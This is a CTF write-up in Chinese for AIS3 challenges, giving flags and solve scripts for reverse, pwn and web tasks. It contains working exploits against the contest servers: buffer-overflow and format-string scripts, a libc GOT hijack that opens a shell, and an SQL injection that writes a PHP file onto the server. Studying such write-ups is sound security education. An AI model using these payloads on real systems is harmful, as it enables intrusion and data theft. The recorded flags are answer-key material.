
author:YJK
ID:YJK
Misc
Welcome

flag: AIS3{Welcome_And_Enjoy_The_CTF_!}
免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag
Ramen CTF

flag: AIS3{樂山溫泉拉麵:蝦拉麵}
圖片右邊有一張發票條碼沒有被擋


掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店

google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號

此地址在 google map 上是 樂山溫泉拉麵

AIS3 Tiny Server - Web / Misc

flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe}
雖然題目敘述說建議 local 先解解看,但我直接開 instance,
點進去會發現是題目簡介網頁,並發現網址給了 index.html

另外題目有給小提示,專注在第一個提示就好

因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺

不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案


Reverse
web flag checker

flag: AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}
頁面是 flag checker

f12 後發現有 index.js 和 index.wasm

推測應該是要考 wasm,所以載下來看,那這邊有關於 wasm 的 toolkit https://github.com/WebAssembly/wabt ,我是使用 wasm2c 先轉回去可讀性相對高的 c code
直接看轉回來的 c code 會發現有個 flag checker 的 function,直接看那個 function

decompile 後程式碼有點長,這邊就不全部貼上來了

分析完之後發現應該是把 flag 分成 5 段並且跟某個值去做相對應位數的 rotate,後面是給 AI 去寫 script 的,整理之後 script 如下:
1import struct
2def rotr64(value, amount):
3 amount &= 63
4 return ((value >> amount) | (value << (64 - amount))) & 0xFFFFFFFFFFFFFFFF
5def solve():
6 targets = [
7 7577352992956835434,
8 7148661717033493303,
9 11365297244963462525,
10 10967302686822111791,
11 8046961146294847270
12 ]
13 magic = 4255033133
14 flag = ""
15 for i in range(5):
16 shift = (magic >> (i * 6)) & 0x3F
17 original = rotr64(targets[i], shift)
18 block = struct.pack('<Q', original).decode('ascii', errors='replace')
19 flag += block
20 flag = flag.rstrip('\x00')
21 return flag
22if __name__ == "__main__":
23 result = solve()
24 print(f"Flag: {result}")
AIS3 Tiny Server - Reverse

flag: AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}
把檔案載下來丟 ida 之後發現 function 很少就 function 點一點,發現有個可疑的 function

後面也沒什麼逆邏輯,就直接把 v8 那邊轉一轉然後去跟 rikki_l0v3 做 xor 就有 flag 了,script 如下
1from pwn import xor
2v8 = [
3 1480073267, 1197221906, 254628393, 920154, 1343445007,
4 874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110
5]
6s = b"".join(i.to_bytes(4, 'little') for i in v8)
7key = b"rikki_l0v3"
8result = xor(s, key)
9print(result.decode('utf-8', errors='ignore'))
A_simple_snake_game

flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}
簡單的貪食蛇遊戲

直接丟 ida 看一下,並且感覺這種題目應該是分數到了會噴 flag,所以直接看 function 有個 SnakeGame::Screen::drawText,可能是輸出文字的,感覺有個可疑的數值跟一些在做 xor 的操作

就直接把數值跟他 xor 的部分拉出來做一次就發現是 flag,script 如下
1hex_array1 = [
2 0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47,
3 0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47,
4 0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C,
5 0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F,
6 0x93, 0x22, 0x55, 0x15
7]
8print(len(hex_array1))
9v14 = [-831958911, -1047254091, -1014295699, -620220219,
10 2001515017, -317711271, 1223368792, 1697251023,
11 496855031, -569364828, 26365]
12encoded_bytes = b"".join(int(x).to_bytes(4, byteorder='little', signed=True) for x in v14)
13encoded_string = encoded_bytes[:44]
14decoded_string = ''.join(chr(encoded_string[i] ^ hex_array1[i]) for i in range(len(encoded_string)))
15print("FLAG: ", decoded_string)
PWN
Welcome to the World of Ave Mujica🌙

flag: AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._17a08e4f063f52a071ed1d36efcbf205}
檔案載下來丟 ida 然後會發現一開始先輸入 yes 會進下一個 stage,然後接下來會用 read_int8() 讀入數字並且將數字直接當作後續 read buffer 的長度

接下來看一下 read_int8(),會發現會用 atoi() 把字串轉數字,接下來確認是否 <= 127,再來使用 unsigned int 強制轉型回去正數,因此如果輸入負數即可繞過 <= 127 的檢查並且得到一個很大的數字,也代表可以讓 overflow 的空間變大

另外還有一個 function 是可以開 shell

確認一下保護機制,沒開 PIE、沒有 canary,所以可以直接 ret2func 開 shell

script 如下
1from pwn import *
2r = process("./chal")
3r = remote("chals1.ais3.org", 60143)
4r.sendline(b"yes")
5r.sendline(b"-1")
6payload = b"A" * (0xa0 + 0x8) + p64(0x401256)
7sleep(1)
8r.sendline(payload)
9r.interactive()
Format Number

flag: AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}
source code:
1#include <stdio.h>
2#include <fcntl.h>
3#include <stdlib.h>
4#include <time.h>
5#include <ctype.h>
6#include <string.h>
7
8
9void check_format(char *format) {
10 for (int i = 0; format[i] != '\0'; i++) {
11 char c = format[i];
12 if (c == '\n') {
13 format[i] = '\0';
14 return;
15 }
16 if (!isdigit(c) && !ispunct(c)) {
17 printf("Error format !\n");
18 exit(1);
19 }
20 }
21}
22
23int main() {
24 setvbuf(stdin, 0, 2, 0);
25 setvbuf(stdout, 0, 2, 0);
26
27 srand(time(NULL));
28 int number = rand();
29 int fd = open("/home/chal/flag.txt", O_RDONLY);
30 char flag[0x100] = {0};
31 read(fd, flag, 0xff);
32 close(fd);
33
34 char format[0x10] = {0};
35 printf("What format do you want ? ");
36 read(0, format, 0xf);
37 check_format(format);
38
39 char buffer[0x20] = {0};
40 strcpy(buffer, "Format number : %3$");
41 strcat(buffer, format);
42 strcat(buffer, "d\n");
43 printf(buffer, "Welcome", "~~~", number);
44
45 return 0;
46}
在第 43 行有 fmt 的問題,然後第 4042 會發現可以控制 59,script 如下%3$、d,中間的字串,但會檢查是否是數字或是符號,因此不能直接改變 type,並且要跳脫出 %3$ 的部分,不然會一直控不了參數,我這邊使用 %3$2- 直接跳脫出去,後面可以隨意指定第幾個值,接下來就是暴力找出 flag 所在的 index 值然後再轉回去字元就可以了,經過測試會在 20
1from pwn import *
2flag = ""
3for i in range(20,59,1):
4 r = remote('chals1.ais3.org', 50960)
5 payload = f"%3$2-%{i}$"
6 r.sendlineafter(b'? ', payload.encode())
7 num = r.recvline().strip().split(b'%3$2-')[-1]
8 flag += chr(int(num.decode()))
9 r.close()
10print(flag)
MyGO schedule manager α (賽後解出)

flag: AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}
source code
1#include <iostream>
2#include <vector>
3#include <string>
4#include <cstring>
5#include <cstdlib>
6
7// g++ chal.cpp -o chal -no-pie -z relro -z now -s
8
9struct schedule{
10 char title[0x16];
11 std::string content;
12};
13
14int SCHEDULE_STATUS = 0;
15schedule* sched = nullptr;
16
17void init_proc(){
18 setvbuf(stdin, NULL, _IONBF, 0);
19 setvbuf(stdout, NULL, _IONBF, 0);
20 std::cin.rdbuf()->pubsetbuf(nullptr, 0);
21 std::cout.rdbuf()->pubsetbuf(nullptr, 0);
22
23 puts("+======= alpha ========+");
24 puts("| Band schedule system |");
25 puts("+======================+");
26
27}
28
29void debug_backdoor(){
30 system("/bin/sh");
31}
32
33void menu(){
34 puts("+======================+");
35 puts("| (1) create schedule |");
36 puts("| (2) edit title |");
37 puts("| (3) edit content |");
38 puts("| (4) show schedule |");
39 puts("+======================+");
40 printf("< MyGO @ ScheduleManager $ > ");
41}
42
43int get_choice(){
44 int choice;
45 scanf("%d", &choice);
46 return choice;
47}
48
49void create(){
50 if(SCHEDULE_STATUS == 0){
51 sched = new(std::nothrow) schedule;
52 if (sched == nullptr) {
53 puts("[x] Memory allocation failed!");
54 exit(0);
55 }
56
57 puts("MyGO @ sched title > ");
58 std::cin >> sched->title;
59 puts("MyGO @ sched content > ");
60 std::cin >> sched->content;
61
62 SCHEDULE_STATUS = 1;
63
64 puts("[!] Create Success !!!");
65 } else {
66 puts("[x] Your schedule have been created");
67 return;
68 }
69}
70
71void edit_title(){
72 if (SCHEDULE_STATUS == 1){
73 puts("MyGO @ sched title > ");
74 std::cin >> sched->title;
75 puts("[!] Edit Success");
76 } else {
77 puts("[x] Schdule Not Found ... ");
78 return;
79 }
80}
81
82void edit_content(){
83 if (SCHEDULE_STATUS == 1){
84 puts("MyGO @ sched content > ");
85 std::cin >> sched->content;
86 puts("[!] Edit Success");
87 } else {
88 puts("[x] Schdule Not Found ... ");
89 return;
90 }
91}
92
93void show(){
94 if (SCHEDULE_STATUS == 1){
95 printf("===== Schedule =====\n");
96 printf("MyGO @ Title : %15s\n", sched -> title);
97 printf("MyGO @ Content : %s\n", sched -> content.c_str());
98 printf("====================\n");
99 } else {
100 puts("[x] Schdule Not Found ... ");
101 return;
102 }
103}
104
105void login(){
106 char username[0x10];
107 char password[0x10];
108
109 printf("Username > ");
110 scanf("%15s", username);
111
112 printf("Password > ");
113 scanf("%15s", password);
114
115 if (strcmp(username, "MyGO!!!!!") == 0 && strcmp(password, "TomorinIsCute") == 0){
116 puts("\033[34m");
117 puts("=========================================");
118 puts(" ____ _____ ");
119 puts(" /'\\_/`\\ /\\ _`\\ /\\ __`\\ ");
120 puts("/\\ \\ __ __\\ \\ \\L\\_\\ \\ \\/\\ \\ ");
121 puts("\\ \\ \\__\\ \\/\\ \\/\\ \\\\ \\ \\L_L\\ \\ \\ \\ \\ ");
122 puts(" \\ \\ \\_/\\ \\ \\ \\_\\ \\\\ \\ \\/, \\ \\ \\_\\ \\ ");
123 puts(" \\ \\_\\\\ \\_\\/`____ \\\\ \\____/\\ \\_____\\");
124 puts(" \\/_/ \\/_/`/___/> \\\\/___/ \\/_____/");
125 puts(" /\\___/ ");
126 puts(" \\/__/ ");
127 puts("=========================================");
128 puts("\033[0m");
129 puts("[!] This is a system that can manage your band schedule.");
130 return;
131 } else {
132 puts("[x] Verify Failed");
133 exit(0);
134 }
135}
136
137int main()
138{
139 init_proc();
140
141 int choice;
142 int index;
143
144 login();
145
146 while(1){
147 menu();
148 choice = get_choice();
149 if (choice == 1){
150 create();
151 } else if (choice == 2){
152 edit_title();
153 } else if (choice == 3){
154 edit_content();
155 } else if (choice == 4){
156 show();
157 } else {
158 break;
159 }
160
161 }
162 return 0;
163}
可以發現是選單題,不過沒有 free,可能可以初步排除 UAF 的問題,接下來有 create、edit title、edit content、show 的功能,另外 create、edit 的部分其實都是用 cin,這部分其實跟 C++ PWN 沒有那麼熟,不過好像 cin 可能會有 overflow 的風險,因此測試看看,會發現程式並沒有 crash 並且成功寫入,但會發現 content 不見了
測試腳本如下
1#!/usr/bin/env python3
2from pwn import *
3
4context.arch = 'amd64'
5context.log_level = 'info'
6
7def create(r, title, content):
8 r.sendlineafter('> ', b'1')
9 r.sendlineafter('title > ', title)
10 r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13 r.sendlineafter('> ', b'2')
14 r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17 r.sendlineafter('> ', b'3')
18 r.sendlineafter('content > ', content)
19
20def show(r):
21 r.sendlineafter('> ', b'4')
22
23def login(r):
24 r.sendlineafter('Username > ', b"MyGO!!!!!")
25 r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30create(r, b'a' * 0x16, b'b' * 0x16)
31edit_title(r, b'a' * 24)
32show(r)
33r.interactive()

然後後面 ida 之後才發現原來 edit title 可能會覆蓋到 edit content 拿到要寫入的值,並且如果 gdb 進去看結構會發現 0x4042C8 + 24 其實是儲存一個 address,因此我們如果 overflow title 的部分就代表會覆蓋到 address,所以才會導致 show 的時候拿不到值,因為 show 也是使用相同方式拿資料的,這部分就不 gdb 進去 demo 了,而這也代表我們可以將要寫資料的 address 直接透過 overflow title 的部分,接下來 edit content 的時候就會寫到那一塊了,但要注意,要記得 vmmap 看一下那一段是否可寫,不然寫了會 crash


那既然拿到任意寫,究竟要任意寫去哪裡,這時候看到 source code 會發現有個 debug_backdoor 是可以直接開 shell 的,因此我們只要 control flow 到那個 backdoor 就可以了,但會發現 schedule 結構上沒有 function pointer,然後確認一下保護機制會發現 Full RELRO,所以程式上的 got 也不可寫

這時候就來到最有趣的時候了,我原本以為沒有給 libc 應該是可以不用打 libc,但最後也只有想到 libc 有個 got table 可以寫,最後就結束了,但後面覺得應該只差一點點,所以就乾脆直接把題目架起來,接下來進入 container 把 linker、loader 拉出來做 patchelf,但最後發現有些會 patch 失敗,所以就果斷進去 container 並且把 debug 環境處理好,然後一步一步跟著 debugger 走,會發現跟過去看過的 Libc-GOT-Hijacking相同,有一個段落會是一堆 ABS 之類的,中間會跳到一段可寫的 got table,基本上我也沒在記哪邊可以寫,但可以好好關注以下圖片的可寫段,或是其他沒有圈起來但是他有 write 權限,如果中間有 jmp 到某段可以寫的,並且那邊看起來是一個 address,就可以嘗試寫寫看,就有機會可以 control flow

那就會發現我們會需要利用 libc,那就需要 leak libc,這時就可以利用 show 的部分,我們可以填入某個 got,那藉由 show 的功能去看 content 就可以察看到某個 libc address,所以只要藉由這樣的方式是就可以去計算 libc 的 base,以下是 leak libc base address 的 script
1#!/usr/bin/env python3
2from pwn import *
3
4context.arch = 'amd64'
5context.log_level = 'info'
6
7def create(r, title, content):
8 r.sendlineafter('> ', b'1')
9 r.sendlineafter('title > ', title)
10 r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13 r.sendlineafter('> ', b'2')
14 r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17 r.sendlineafter('> ', b'3')
18 r.sendlineafter('content > ', content)
19
20def show(r):
21 r.sendlineafter('> ', b'4')
22
23def login(r):
24 r.sendlineafter('Username > ', b"MyGO!!!!!")
25 r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30put_got = 0x0000000000403fd0
31write = 0x321098
32win = 0x4013EC
33create(r, b'a' * 0x16, b'b' * 0x16)
34edit_title(r, b'a' * 24 + p64(put_got))
35show(r)
36r.recvuntil(b'Content : ')
37leak = r.recvuntil(b'\n', drop=True)
38addr = u64(leak.ljust(8, b'\x00'))
39log.info(f'Leaked address: {hex(addr)}')
40libc_base = addr - 0x187e50
41log.info(f'Libc base address: {hex(libc_base)}')
42r.interactive()

接下來只需要去找可以 control flow 的可寫段,並且把那一段寫成 backdoor function 就可以 control flow 了,而這部分就不多贅述,而我最後是寫到 puts 的 libc got table,因為這樣在寫完之後就可以直接 get shell(寫完之後本來會輸出 Edit Success),以下是完整 script
1#!/usr/bin/env python3
2from pwn import *
3
4context.arch = 'amd64'
5context.log_level = 'info'
6
7def create(r, title, content):
8 r.sendlineafter('> ', b'1')
9 r.sendlineafter('title > ', title)
10 r.sendlineafter('content > ', content)
11
12def edit_title(r, title):
13 r.sendlineafter('> ', b'2')
14 r.sendlineafter('title > ', title)
15
16def edit_content(r, content):
17 r.sendlineafter('> ', b'3')
18 r.sendlineafter('content > ', content)
19
20def show(r):
21 r.sendlineafter('> ', b'4')
22
23def login(r):
24 r.sendlineafter('Username > ', b"MyGO!!!!!")
25 r.sendlineafter('Password > ', b"TomorinIsCute")
26
27# r = process('./chal')
28r = remote('chals1.ais3.org', 51000)
29login(r)
30put_got = 0x0000000000403fd0
31write = 0x321098
32win = 0x4013EC
33create(r, b'a' * 0x16, b'b' * 0x16)
34edit_title(r, b'a' * 24 + p64(put_got))
35show(r)
36r.recvuntil(b'Content : ')
37leak = r.recvuntil(b'\n', drop=True)
38addr = u64(leak.ljust(8, b'\x00'))
39log.info(f'Leaked address: {hex(addr)}')
40libc_base = addr - 0x187e50
41log.info(f'Libc base address: {hex(libc_base)}')
42log.info(f'Writable address: {hex(libc_base + write)}')
43edit_title(r, b'a' * 24 + p64(libc_base + write))
44edit_content(r, p64(win))
45r.interactive()
Web
Tomorin db 🐧

flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}
網頁點進去是一個簡單的 file server

看程式碼發現如果訪問 /flag 會 redirect 到 https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6,所以使用 %2f 繞過,http://chals1.ais3.org:30000/%2fflag

Login Screen 1

flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}
點進去發現可以用 guest/guest 登入,直接登入

登入之後需要 2fa,一樣使用 guest 的 2fa

會發現只有 admin 可以看 flag

由此可以猜想應該有個 username 是 admin,另外密碼直接猜測弱密碼 admin 之後發現可以登入,但還是需要 2fa,觀察檔案會發現會有一個 users.db 儲存資訊,加上網址感覺可以直接讀檔案,所以直接嘗試 users.db,發現可以成功下載

讀取 users.db 會發現有個 table 是 users,再看內容會發現應該分別是儲存帳號、密碼、2fa code

輸入 admin 的 2fa code 即可獲得 flag

Login Screen 2

flag: AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}
觀察 docker-compose.yml 會發現 flag2 被寫在環境變數,並且觀察其他檔案發現沒有任何頁面嘗試獲取 flag2
1services:
2 cms:
3 build: ./cms
4 ports:
5 - "36368:80"
6 volumes:
7 - ./cms/html/2fa.php:/var/www/html/2fa.php:ro
8 - ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro
9 - ./cms/html/index.php:/var/www/html/index.php:ro
10 - ./cms/html/init.php:/var/www/html/init.php:ro
11 - ./cms/html/logout.php:/var/www/html/logout.php:ro
12 - ./cms/html/users.db:/var/www/html/users.db:ro
13 - ./cms/html/styles.css:/var/www/html/styles.css:ro
14 environment:
15 - FLAG1=AIS3{1.This_is_the_first_test_flag}
16 - FLAG2=AIS3{2.This_is_the_second_test_flag}
觀察 index.php 會發現 username 的值會直接被串接進去 SQL 裡面,並且不會事先經過任何處理,所以有 sql injection 風險

所以可以透過這邊去做 sql injection 再 RCE 把 flag 寫在可以造訪的到的檔案,不過這邊因為我沒有到擅長 web 因此 payload 部分是使用 AI 構建的,Login Screen 1、2 解題 script 如下
1import requests
2import re
3import time
4BASE_URL = "http://login-screen.ctftime.uk:36368"
5def get_flag1():
6 print("=== 獲取 FLAG1 ===")
7 session = requests.Session()
8 print("[+] 訪問首頁...")
9 response = session.get(f"{BASE_URL}/")
10 print("[+] 使用 admin/admin 登入...")
11 login_data = {
12 'username': 'admin',
13 'password': 'admin'
14 }
15 response = session.post(f"{BASE_URL}/index.php", data=login_data)
16 if "2FA" not in response.text:
17 print("[-] 登入失敗")
18 return None
19 print("[+] 登入成功,重定向到2FA頁面")
20 print("[+] 輸入2FA碼...")
21 fa_data = {
22 'code': '51756447753485459839'
23 }
24 response = session.post(f"{BASE_URL}/2fa.php", data=fa_data)
25 if "Welcome" not in response.text:
26 print("[-] 2FA驗證失敗")
27 return None
28 print("[+] 2FA驗證成功")
29 if "AIS3{" in response.text:
30 flag_match = re.search(r'AIS3\{[^}]+\}', response.text)
31 if flag_match:
32 flag1 = flag_match.group(0)
33 print(f"[*] FLAG1: {flag1}")
34 return flag1
35 print("[-] 未找到FLAG1")
36 return None
37def get_flag():
38 print("\n=== 獲取 FLAG2 ===")
39 rce_payload = "admin'; ATTACH DATABASE '/var/www/html/flag.php' AS flag; CREATE TABLE flag.content(data BLOB); INSERT INTO flag.content VALUES ('<?php echo \"FLAG2: \" . getenv(\"FLAG2\"); ?>'); --"
40 session = requests.Session()
41 print("[+] 訪問首頁...")
42 response = session.get(f"{BASE_URL}/")
43 print("[+] 執行SQL注入payload...")
44 print(f"[*] Payload: {rce_payload[:80]}...")
45 login_data = {
46 'username': rce_payload,
47 'password': 'admin'
48 }
49 response = session.post(f"{BASE_URL}/index.php", data=login_data)
50 if "2FA" not in response.text:
51 print("[-] SQL注入失敗")
52 return None
53 print("[+] SQL注入成功,到達2FA頁面")
54 print("[+] 執行2FA驗證以觸發SQL執行...")
55 fa_data = {'code': '51756447753485459839'}
56 fa_response = session.post(f"{BASE_URL}/2fa.php", data=fa_data)
57 if "Welcome" not in fa_response.text:
58 print("[-] 2FA失敗,但檔案可能已經創建")
59 else:
60 print("[+] SQL執行成功")
61 print("[+] 訪問創建的檔案 /flag.php...")
62 time.sleep(1)
63 try:
64 file_response = requests.get(f"{BASE_URL}/flag.php")
65 if file_response.status_code != 200:
66 print("[-] 檔案不存在")
67 return None
68 print(f"[+] 檔案存在,大小: {len(file_response.text)} bytes")
69 if "AIS3{" in file_response.text:
70 flag_match = re.search(r'(AIS3\{[^}]+\})', file_response.text)
71 if flag_match:
72 flag = flag_match.group(1)
73 print(f"[*] FLAG2: {flag}")
74 return flag
75 print("[-] 檔案中未找到FLAG2")
76 print(f"[*] 檔案內容預覽: {file_response.text[:200]}")
77 return None
78 except Exception as e:
79 print(f"[-] 訪問檔案失敗: {e}")
80 return None
81def main():
82 print("LoginScreen2 CTF Challenge - Complete Exploit")
83 print("=" * 50)
84 flag1 = get_flag1()
85 flag = get_flag()
86 print("\n" + "=" * 50)
87 print("攻擊結果:")
88 if flag1:
89 print(f"✅ FLAG1: {flag1}")
90 else:
91 print("❌ FLAG1: 獲取失敗")
92
93 if flag:
94 print(f"✅ FLAG2: {flag}")
95 else:
96 print("❌ FLAG2: 獲取失敗")
97 if flag1 and flag:
98 print("\n🎉 兩個FLAG都成功獲取!")
99 else:
100 print("\n⚠️ 部分FLAG獲取失敗")
101if __name__ == "__main__":
102 main()
Crypto
跟去年相同都沒有碰